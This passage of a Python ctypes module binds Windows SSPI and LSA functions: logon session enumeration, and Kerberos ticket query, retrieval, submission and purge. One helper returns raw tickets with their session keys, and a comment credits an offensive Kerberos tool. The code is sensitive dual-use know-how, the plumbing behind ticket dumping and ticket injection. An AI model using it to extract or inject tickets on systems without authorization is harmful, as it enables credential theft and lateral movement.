241 SECBUFFER_ALERT = 17 #The buffer contains an alert message.
242 SECBUFFER_ATTRMASK = 4026531840 #The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer.
243 SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information.
244 SECBUFFER_CHANGE_PASS_RESPONSE = 15 #The buffer contains a DOMAIN_PASSWORD_INFORMATION structure.
245 SECBUFFER_DATA = 1 #The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it.
246 SECBUFFER_DTLS_MTU = 24#The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024.
247 SECBUFFER_EMPTY = 0 #This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics.
248 SECBUFFER_EXTRA = 5 #The security package uses this value to indicate the number of extra or unprocessed bytes in a message.
249 SECBUFFER_MECHLIST = 11 #The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers.
250 SECBUFFER_MECHLIST_SIGNATURE = 12 #The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers.
251 SECBUFFER_MISSING = 4 #The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type.
252 SECBUFFER_PKG_PARAMS = 3 #These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on.
253 SECBUFFER_PRESHARED_KEY = 22 #The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes.
254 SECBUFFER_PRESHARED_KEY_IDENTITY = 23 #The buffer contains the preshared key identity.
255 SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = 20 #The buffer contains the SRTP master key identifier.
256 SECBUFFER_SRTP_PROTECTION_PROFILES = 19 #The buffer contains the list of SRTP protection profiles, in descending order of preference.
257 SECBUFFER_STREAM_HEADER = 7 #The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers.
258 SECBUFFER_STREAM_TRAILER = 6 #The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers.
259 SECBUFFER_TARGET = 13 #This flag is reserved. Do not use it.
260 SECBUFFER_TARGET_HOST = 16 #The buffer specifies the service principal name (SPN) of the target.
261 #This value is supported by the Digest security package when used with channel bindings.
262 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
263 SECBUFFER_TOKEN = 2 #The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters.
264 SECBUFFER_TOKEN_BINDING = 21 #The buffer contains the supported token binding protocol version and key parameters, in descending order of preference.
265 SECBUFFER_APPLICATION_PROTOCOLS = 18 #The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled.
266 SECBUFFER_PADDING = 9
267
268 class FILETIME(Structure):
269 _fields_ = [
270 ("dwLowDateTime", DWORD),
271 ("dwHighDateTime", DWORD),
272 ]
273 PFILETIME = POINTER(FILETIME)
274 TimeStamp = FILETIME
275 PTimeStamp = PFILETIME
276
277 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey
278 class SecPkgContext_SessionKey(Structure):
279 _fields_ = [('SessionKeyLength',ULONG),('SessionKey', LPBYTE)]
280
281 @property
282 def Buffer(self):
283 return string_at(self.SessionKey, size=self.SessionKeyLength)
284
285 # https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py
286 class SecHandle(Structure):
287
288 _fields_ = [
289 ('dwLower',POINTER(ULONG)),
290 ('dwUpper',POINTER(ULONG))
291 ]
292 def __init__(self): # populate deeply (empty memory fields) rather than shallow null POINTERs.
293 super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG()))
294
295 class SecBuffer(Structure):
296 """Stores a memory buffer: size, type-flag, and POINTER.
297 The type can be empty (0) or token (2).
298 InitializeSecurityContext will write to the buffer that is flagged "token"
299 and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL."""
300 _fields_ = [
301 ('cbBuffer',ULONG),
302 ('BufferType',ULONG),
303 ('pvBuffer',PVOID)
304 ]
305 def __init__(self, token=b'\x00'*maxtoken_size, buffer_type = SECBUFFER_TYPE.SECBUFFER_TOKEN):
306 buf = create_string_buffer(token, size=len(token))
307 Structure.__init__(self,sizeof(buf),buffer_type.value,cast(byref(buf),PVOID))
308
309 @property
310 def Buffer(self):
311 return (SECBUFFER_TYPE(self.BufferType), string_at(self.pvBuffer, size=self.cbBuffer))
312
313 class SecBufferDesc(Structure):
314 """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one),
315 and POINTER to an array of SecBuffer structs."""
316 _fields_ = [('ulVersion',ULONG),('cBuffers',ULONG),('pBuffers',POINTER(SecBuffer))]
317 def __init__(self, secbuffers = None):
318 #secbuffers = a list of security buffers (SecBuffer)
319 if secbuffers is not None:
320 Structure.__init__(self,0,len(secbuffers),(SecBuffer * len(secbuffers))(*secbuffers))
321 else:
322 Structure.__init__(self,0,1,pointer(SecBuffer()))
323 def __getitem__(self, index):
324 return self.pBuffers[index]
325
326 @property
327 def Buffers(self):
328 data = []
329 for i in range(self.cBuffers):
330 data.append(self.pBuffers[i].Buffer)
331 return data
332
333 PSecBufferDesc = POINTER(SecBufferDesc)
334
335 PSecHandle = POINTER(SecHandle)
336 CredHandle = SecHandle
337 PCredHandle = PSecHandle
338 CtxtHandle = SecHandle
339 PCtxtHandle = PSecHandle
340
341 class LUID(Structure):
342 _fields_ = [
343 ("LowPart", DWORD),
344 ("HighPart", LONG),
345 ]
346
347 def to_int(self):
348 return LUID.luid_to_int(self)
349
350 @staticmethod
351 def luid_to_int(luid):
352 return (luid.HighPart << 32) + luid.LowPart
353
354 @staticmethod
355 def from_int(i):
356 luid = LUID()
357 luid.HighPart = i >> 32
358 luid.LowPart = i & 0xFFFFFFFF
359 return luid
360
361 PLUID = POINTER(LUID)
362
363 class LSA_STRING(Structure):
364 _fields_ = [
365 ("Length", USHORT),
366 ("MaximumLength", USHORT),
367 ("Buffer", POINTER(c_char)),
368 ]
369 def to_string(self):
370 return string_at(self.Buffer, self.MaximumLength).decode()
371
372 PLSA_STRING = POINTER(LSA_STRING)
373
374 class LSA_UNICODE_STRING(Structure):
375 _fields_ = [
376 ("Length", USHORT),
377 ("MaximumLength", USHORT),
378 ("Buffer", POINTER(c_char)),
379 ]
380
381 @staticmethod
382 def from_string(s):
383 s = s.encode('utf-16-le')
384 lus = LSA_UNICODE_STRING()
385 lus.Buffer = create_string_buffer(s, len(s))
386 lus.MaximumLength = len(s)+1
387 lus.Length = len(s)
388 return lus
389
390 def to_string(self):
391 return string_at(self.Buffer, self.MaximumLength).decode('utf-16-le').replace('\x00','')
392
393 PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING)
394
395 class LSA_LAST_INTER_LOGON_INFO(Structure):
396 _fields_ = [
397 ("LastSuccessfulLogon", LARGE_INTEGER),
398 ("LastFailedLogon", LARGE_INTEGER),
399 ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG)
400 ]
401 def to_dict(self):
402 return {
403 "LastSuccessfulLogon" : self.LastSuccessfulLogon,
404 "LastFailedLogon" : self.LastFailedLogon,
405 "FailedAttemptCountSinceLastSuccessfulLogon" : self.FailedAttemptCountSinceLastSuccessfulLogon
406 }
407 PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO)
408
409 class SECURITY_LOGON_SESSION_DATA(Structure):
410 _fields_ = [
411 ("Size", ULONG),
412 ("LogonId", LUID),
413 ("UserName", LSA_UNICODE_STRING),
414 ("LogonDomain", LSA_UNICODE_STRING),
415 ("AuthenticationPackage", LSA_UNICODE_STRING),
416 ("LogonType", ULONG),
417 ("Session", ULONG),
418 ("Sid", PVOID),
419 ("LogonTime", LARGE_INTEGER),
420 ("LogonServer", LSA_UNICODE_STRING),
421 ("DnsDomainName", LSA_UNICODE_STRING),
422 ("Upn", LSA_UNICODE_STRING),
423 ("UserFlags", ULONG),
424 ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO),
425 ("LogonScript", LSA_UNICODE_STRING),
426 ("ProfilePath", LSA_UNICODE_STRING),
427 ("HomeDirectory", LSA_UNICODE_STRING),
428 ("HomeDirectoryDrive", LSA_UNICODE_STRING),
429 ("LogoffTime", LARGE_INTEGER),
430 ("KickOffTime", LARGE_INTEGER),
431 ("PasswordLastSet", LARGE_INTEGER),
432 ("PasswordCanChange", LARGE_INTEGER),
433 ("PasswordMustChange", LARGE_INTEGER),
434 ]
435
436 def to_dict(self):
437 return {
438 "LogonId": self.LogonId.to_int(),
439 "UserName": self.UserName.to_string(),
440 "LogonDomain": self.LogonDomain.to_string(),
441 "AuthenticationPackage": self.AuthenticationPackage.to_string(),
442 "LogonType": self.LogonType,
443 "Session": self.Session,
444 "Sid": str(SID.from_ptr(self.Sid)), #PVOID), # PSID
445 "LogonTime": self.LogonTime,
446 "LogonServer": self.LogonServer.to_string(),
447 "DnsDomainName": self.DnsDomainName.to_string(),
448 "Upn": self.Upn.to_string(),
449 "UserFlags": self.UserFlags,
450 "LastLogonInfo": self.LastLogonInfo.to_dict(),
451 "LogonScript": self.LogonScript.to_string(),
452 "ProfilePath": self.ProfilePath.to_string(),
453 "HomeDirectory": self.HomeDirectory.to_string(),
454 "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(),
455 "LogoffTime": self.LogoffTime,
456 "KickOffTime": self.KickOffTime,
457 "PasswordLastSet": self.PasswordLastSet,
458 "PasswordCanChange": self.PasswordCanChange,
459 "PasswordMustChange": self.PasswordMustChange,
460 }
461
462 PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA)
463
464
465 class KERB_PURGE_TKT_CACHE_REQUEST(Structure):
466 _fields_ = [
467 ("MessageType", DWORD),
468 ("LogonId", LUID),
469 ("ServerName", LSA_STRING),
470 ("RealmName", LSA_STRING),
471 ]
472
473 def __init__(self, logonid = 0, servername=None, realname = None):
474 if isinstance(logonid, int):
475 logonid = LUID.from_int(logonid)
476
477 super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid)
478
479 class KERB_TICKET_CACHE_INFO(Structure):
480 _fields_ = [
481 ("ServerName", LSA_UNICODE_STRING),
482 ("RealmName", LSA_UNICODE_STRING),
483 ("StartTime", LARGE_INTEGER),
484 ("EndTime", LARGE_INTEGER),
485 ("RenewTime", LARGE_INTEGER),
486 ("EncryptionType", LONG),
487 ("TicketFlags", ULONG)
488 ]
489
490 def to_dict(self):
491 return {
492 "ServerName" : self.ServerName.to_string(),
493 "RealmName" : self.RealmName.to_string(),
494 "StartTime" : self.StartTime,
495 "EndTime" : self.EndTime,
496 "RenewTime" : self.RenewTime,
497 "EncryptionType" : self.EncryptionType,
498 "TicketFlags" : self.TicketFlags,
499 }
500 PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO)
501
502 class KERB_CRYPTO_KEY(Structure):
503 _fields_ = [
504 ("KeyType", LONG),
505 ("Length", ULONG),
506 ("Value", PVOID), #PUCHAR
507 ]
508
509 def to_dict(self):
510 return {
511 'KeyType' : self.KeyType,
512 'Key' : string_at(self.Value, self.Length)
513 }
514
515 PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY)
516
517 class KERB_EXTERNAL_NAME(Structure):
518 _fields_ = [
519 ("NameType", SHORT),
520 ("NameCount", USHORT),
521 ("Names", LSA_UNICODE_STRING) #LIST!!!! not implemented!
522 ]
523 PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME)
524
525 class KERB_EXTERNAL_TICKET(Structure):
526 _fields_ = [
527 ("ServiceName" , PVOID), #PKERB_EXTERNAL_NAME
528 ("TargetName" , PVOID), #PKERB_EXTERNAL_NAME
529 ("ClientName" , PVOID), #PKERB_EXTERNAL_NAME
530 ("DomainName" , LSA_UNICODE_STRING),
531 ("TargetDomainName" , LSA_UNICODE_STRING),
532 ("AltTargetDomainName" , LSA_UNICODE_STRING),
533 ("SessionKey" , KERB_CRYPTO_KEY),
534 ("TicketFlags" , ULONG),
535 ("Flags" , ULONG),
536 ("KeyExpirationTime" , LARGE_INTEGER),
537 ("StartTime" , LARGE_INTEGER),
538 ("EndTime" , LARGE_INTEGER),
539 ("RenewUntil" , LARGE_INTEGER),
540 ("TimeSkew" , LARGE_INTEGER),
541 ("EncodedTicketSize" , ULONG),
542 ("EncodedTicket" , PVOID)
543 ]
544
545 def get_data(self):
546 return {
547 'Key' : self.SessionKey.to_dict(),
548 'Ticket' : string_at(self.EncodedTicket, self.EncodedTicketSize)
549 }
550
551 PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET
552
553 class KERB_QUERY_TKT_CACHE_REQUEST(Structure):
554 _fields_ = [
555 ("MessageType", DWORD),
556 ("LogonId", LUID),
557 ]
558
559 def __init__(self, logonid = 0):
560 if isinstance(logonid, int):
561 logonid = LUID.from_int(logonid)
562
563 super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid)
564
565 class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure):
566 _fields_ = [
567 ("MessageType", DWORD),
568 ("CountOfTickets", ULONG),
569 ]
570 class KERB_QUERY_TKT_CACHE_RESPONSE(Structure):
571 _fields_ = [
572 ("MessageType", DWORD),
573 ("CountOfTickets", ULONG),
574 ("Tickets", KERB_TICKET_CACHE_INFO) #array of tickets!!
575 ]
576
577 class KERB_SUBMIT_TKT_REQUEST(Structure):
578 _fields_ = [
579 ("MessageType", DWORD),
580 ("LogonId", LUID),
581 ("TicketFlags", ULONG),
582 ("Key", KERB_CRYPTO_KEY),
583 ("KerbCredSize", ULONG),
584 ("KerbCredOffset" , ULONG)
585 ]
586
587 KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST())
588
589 def submit_tkt_helper(ticket_data, logonid=0):
590 offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4
591 if isinstance(logonid, int):
592 logonid = LUID.from_int(logonid)
593
594 class KERB_SUBMIT_TKT_REQUEST(Structure):
595 _pack_ = 4
596 _fields_ = [
597 ("MessageType", DWORD),
598 ("LogonId", LUID),
599 ("TicketFlags", ULONG),
600 #("KeyType", LONG),
601 ("Length", ULONG),
602 ("Value", PVOID), #PUCHAR
603 ("KerbCredSize", ULONG),
604 ("KerbCredOffset" , ULONG),
605 ("TicketData" , c_byte * len(ticket_data))
606 ]
607
608 req = KERB_SUBMIT_TKT_REQUEST()
609 req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value
610 req.LogonId = logonid
611 req.TicketFlags = 0
612 req.Key = KERB_CRYPTO_KEY() #empty key
613 req.KerbCredSize = len(ticket_data)
614 #req.KerbCredOffset =
615 req.TicketData = (c_byte * len(ticket_data))(*ticket_data)
616
617
618 #struct_end = addressof(req) + sizeof(req)
619 #print('struct_end %s' % hex(struct_end))
620 #ticketdata_start = struct_end - len(ticket_data)
621 #targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p))
622 #print('targetname_start_padded %s' % hex(targetname_start_padded))
623 #print('offset %s' % offset)
624 #print('len(ticket_data) %s' % len(ticket_data))
625 req.KerbCredOffset = offset #targetname_start_padded
626
627 #print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)))
628 #print()
629 #print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 )))
630 #if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data:
631 # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
632
633 return req
634
635 class KERB_RETRIEVE_TKT_REQUEST(Structure):
636 _fields_ = [
637 ("MessageType", DWORD),
638 ("LogonId", LUID),
639 ("TargetName", LSA_UNICODE_STRING),
640 ("TicketFlags", ULONG),
641 ("CacheOptions", ULONG),
642 ("EncryptionType", LONG),
643 ("CredentialsHandle", PVOID), #SecHandle
644 ]
645
646 def __init__(self, targetname, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, logonid = 0):
647 if isinstance(logonid, int):
648 logonid = LUID.from_int(logonid)
649
650 super(KERB_RETRIEVE_TKT_REQUEST, self).__init__(
651 KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value,
652 logonid,
653 LSA_UNICODE_STRING.from_string(targetname),
654 ticketflags,
655 cacheoptions,
656 encryptiontype,
657 None,
658 )
659
660 def retrieve_tkt_helper(targetname, logonid = 0, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, temp_offset = 0):
661 # Rubeus helped me here with the info that the "targetname" structure's internal pointer
662 # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error
663 # Sadly that wasn't completely enough because <insert vauge reasons here>. So I introduced an extra pointer to serve
664 # as a platform-independent padding between the oringinal structure and the actual targetname bytes.
665 #
666 # For reference:
667 # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs
668
669 if isinstance(logonid, int):
670 logonid = LUID.from_int(logonid)
671
672 targetname_enc = targetname.encode('utf-16-le') + b'\x00\x00'
673 targetname_len_alloc = len(targetname_enc)
674 class KERB_RETRIEVE_TKT_REQUEST(Structure):
675 _fields_ = [
676 ("MessageType", DWORD),
677 ("LogonId", LUID),
678 ("TargetName", LSA_UNICODE_STRING),
679 ("TicketFlags", ULONG),
680 ("CacheOptions", ULONG),
681 ("EncryptionType", LONG),
682 ("CredentialsHandle", PVOID), #SecHandle
683 ("UNK", PVOID), #I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno
684 ("TargetNameData", (c_byte * targetname_len_alloc)),
685 ]
686
687 req = KERB_RETRIEVE_TKT_REQUEST()
688 req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value
689 req.LogonId = logonid
690 req.TicketFlags = ticketflags
691 req.CacheOptions = cacheoptions
692 req.EncryptionType = encryptiontype
693 req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc)
694
695 struct_end = addressof(req) + sizeof(req)
696 targetname_start = struct_end - targetname_len_alloc
697 targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p))
698
699 lsa_target = LSA_UNICODE_STRING()
700 lsa_target.Length = len(targetname.encode('utf-16-le'))
701 lsa_target.MaximumLength = targetname_len_alloc
702 lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char))
703
704 req.TargetName = lsa_target
705
706 #print(targetname_start_padded)
707 #print(lsa_target.Buffer.contents)
708 ##print(lsa_target.to_string())
709 #print(string_at(targetname_start_padded, lsa_target.MaximumLength))
710 #print('a %s' % addressof(req))
711 #print('s %s' % sizeof(req))
712 #hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))
713 #print(hd)
714
715 return req
716
717 class KERB_RETRIEVE_TKT_RESPONSE(Structure):
718 _fields_ = [
719 ("Ticket", KERB_EXTERNAL_TICKET),
720 ]
721
722 # Invalid handle value is -1 casted to void pointer.
723 try:
724 INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF
725 except TypeError:
726 if sizeof(c_void_p) == 4:
727 INVALID_HANDLE_VALUE = 0xFFFFFFFF
728 elif sizeof(c_void_p) == 8:
729 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
730 else:
731 raise
732
733 def get_lsa_error(ret_status):
734 return WinError(LsaNtStatusToWinError(ret_status))
735
736 def RaiseIfZero(result, func = None, arguments = ()):
737 """
738 Error checking for most Win32 API calls.
739
740 The function is assumed to return an integer, which is C{0} on error.
741 In that case the C{WindowsError} exception is raised.
742 """
743 if not result:
744 raise WinError()
745 return result
746
747 def LsaRaiseIfNotErrorSuccess(result, func = None, arguments = ()):
748 """
749 Error checking for Win32 Registry API calls.
750
751 The function is assumed to return a Win32 error code. If the code is not
752 C{ERROR_SUCCESS} then a C{WindowsError} exception is raised.
753 """
754 if result != ERROR_SUCCESS:
755 raise WinError(LsaNtStatusToWinError(result))
756 return result
757
758 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror
759 def LsaNtStatusToWinError(errcode):
760 _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError
761 _LsaConnectUntrusted.argtypes = [NTSTATUS]
762 _LsaConnectUntrusted.restype = ULONG
763
764 res = _LsaConnectUntrusted(errcode)
765 if res == 0x13D:
766 raise Exception('ERROR_MR_MID_NOT_FOUND for %s' % errcode)
767 return res
768
769
770 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer
771 def LsaFreeReturnBuffer(pbuffer):
772 _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer
773 _LsaFreeReturnBuffer.argtypes = [PVOID]
774 _LsaFreeReturnBuffer.restype = NTSTATUS
775 _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess
776
777 _LsaFreeReturnBuffer(pbuffer)
778
779 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted
780 def LsaConnectUntrusted():
781 _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted
782 _LsaConnectUntrusted.argtypes = [PHANDLE]
783 _LsaConnectUntrusted.restype = NTSTATUS
784 _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess
785
786 lsa_handle = HANDLE(INVALID_HANDLE_VALUE)
787 _LsaConnectUntrusted(byref(lsa_handle))
788 return lsa_handle
789
790 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess
791 def LsaDeregisterLogonProcess(lsa_handle):
792 _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess
793 _LsaDeregisterLogonProcess.argtypes = [HANDLE]
794 _LsaDeregisterLogonProcess.restype = NTSTATUS
795 _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess
796
797 _LsaDeregisterLogonProcess(lsa_handle)
798
799 return
800
801 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess
802 def LsaRegisterLogonProcess(logon_process_name):
803 #logon_process_name == This string must not exceed 127 bytes.
804 _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess
805 _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE]
806 _LsaRegisterLogonProcess.restype = NTSTATUS
807 _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess
808
809 if isinstance(logon_process_name, str):
810 logon_process_name = logon_process_name.encode()
811
812 pname = LSA_STRING()
813 pname.Buffer = create_string_buffer(logon_process_name)
814 pname.Length = len(logon_process_name)
815 pname.MaximumLength = len(logon_process_name) + 1
816
817 lsa_handle = HANDLE(INVALID_HANDLE_VALUE)
818 dummy = LSA_OPERATIONAL_MODE(0)
819 _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy))
820
821 return lsa_handle
822
823
824 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage
825 def LsaLookupAuthenticationPackage(lsa_handle, package_name):
826 #logon_process_name == This string must not exceed 127 bytes.
827 _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage
828 _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG]
829 _LsaLookupAuthenticationPackage.restype = NTSTATUS
830 _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess
831
832 if isinstance(package_name, str):
833 package_name = package_name.encode()
834
835 pname = LSA_STRING()
836 pname.Buffer = create_string_buffer(package_name)
837 pname.Length = len(package_name)
838 pname.MaximumLength = len(package_name) + 1
839
840 package_id = ULONG(0)
841 _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id))
842
843 return package_id.value
844
845 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage
846 def LsaCallAuthenticationPackage(lsa_handle, package_id, message):
847 #message bytes
848 _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage
849 _LsaCallAuthenticationPackage.argtypes = [HANDLE, ULONG, PVOID, ULONG, PVOID, PULONG, PNTSTATUS]
850 _LsaCallAuthenticationPackage.restype = DWORD
851 _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess
852
853 if not isinstance(message, Structure):
854 message = bytes(message)
855 message_len = len(message)
856 else:
857 message_len = len(bytes(message))
858
859 return_msg_p = c_void_p()
860 return_msg_len = ULONG(0)
861 return_status = NTSTATUS(INVALID_HANDLE_VALUE)
862 _LsaCallAuthenticationPackage(lsa_handle, package_id, byref(message), message_len, byref(return_msg_p), byref(return_msg_len), byref(return_status))
863
864 return_msg = b''
865 free_ptr = None #please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad.
866 if return_msg_len.value > 0:
867 return_msg = string_at(return_msg_p, return_msg_len.value)
868 free_ptr = return_msg_p
869 #LsaFreeReturnBuffer(return_msg_p)
870
871
872 return return_msg, return_status.value, free_ptr
873
874 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions
875 def LsaEnumerateLogonSessions():
876 #logon_process_name == This string must not exceed 127 bytes.
877 _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions
878 _LsaEnumerateLogonSessions.argtypes = [PULONG , PVOID] #PLUID
879 _LsaEnumerateLogonSessions.restype = NTSTATUS
880 _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess
881
882 LogonSessionCount = ULONG(0)
883 start_luid = c_void_p()
884 _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid))
885
886 class LUIDList(Structure):
887 _fields_ = [
888 ("LogonIds", LUID*LogonSessionCount.value),
889 ]
890 PLUIDList = POINTER(LUIDList)
891
892 res_luids = []
893 pluids = cast(start_luid, PLUIDList)
894 for luid in pluids.contents.LogonIds:
895 res_luids.append(luid.to_int())
896
897 LsaFreeReturnBuffer(start_luid)
898
899 return res_luids
900
901 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata
902 def LsaGetLogonSessionData(luid):
903 #logon_process_name == This string must not exceed 127 bytes.
904 _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData
905 _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] #PSECURITY_LOGON_SESSION_DATA
906 _LsaGetLogonSessionData.restype = NTSTATUS
907 _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess
908
909 if isinstance(luid, int):
910 luid = LUID.from_int(luid)
911
912 ppsessiondata = c_void_p()
913 _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata))
914
915 psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA)
916 sessiondata = psessiondata.contents.to_dict()
917 LsaFreeReturnBuffer(ppsessiondata)
918
919 return sessiondata
920
921 #https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108
922 #https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client
923 #https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx
924 def AcquireCredentialsHandle(client_name, package_name, tragetspn, cred_usage, pluid = None, authdata = None):
925 def errc(result, func, arguments):
926 if SEC_E(result) == SEC_E.OK:
927 return result
928 raise Exception('%s failed with error code %s (%s)' % ('AcquireCredentialsHandle', result, SEC_E(result)))
929
930 _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA
931 _AcquireCredentialsHandle.argtypes = [PSEC_CHAR, PSEC_CHAR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp]
932 _AcquireCredentialsHandle.restype = DWORD
933 _AcquireCredentialsHandle.errcheck = errc
934
935 #TODO: package_name might be different from version to version. implement functionality to poll it properly!
936
937 cn = None
938 if client_name:
939 cn = LPSTR(client_name.encode('ascii'))
940 pn = LPSTR(package_name.encode('ascii'))
941
942 creds = CredHandle()
943 ts = TimeStamp()
944 _AcquireCredentialsHandle(cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts))
945 return creds
946
947 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa
948 def QueryContextAttributes(ctx, attr, sec_struct):
949 #attr = SECPKG_ATTR enum
950 def errc(result, func, arguments):
951 if SEC_E(result) == SEC_E.OK:
952 return SEC_E(result)
953 raise Exception('%s failed with error code %s (%s)' % ('QueryContextAttributes', result, SEC_E(result)))
954
955 _QueryContextAttributes = windll.Secur32.QueryContextAttributesW
956 _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID]
957 _QueryContextAttributes.restype = DWORD
958 _QueryContextAttributes.errcheck = errc
959
960 res = _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct))
961
962 return
963
964
965 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx
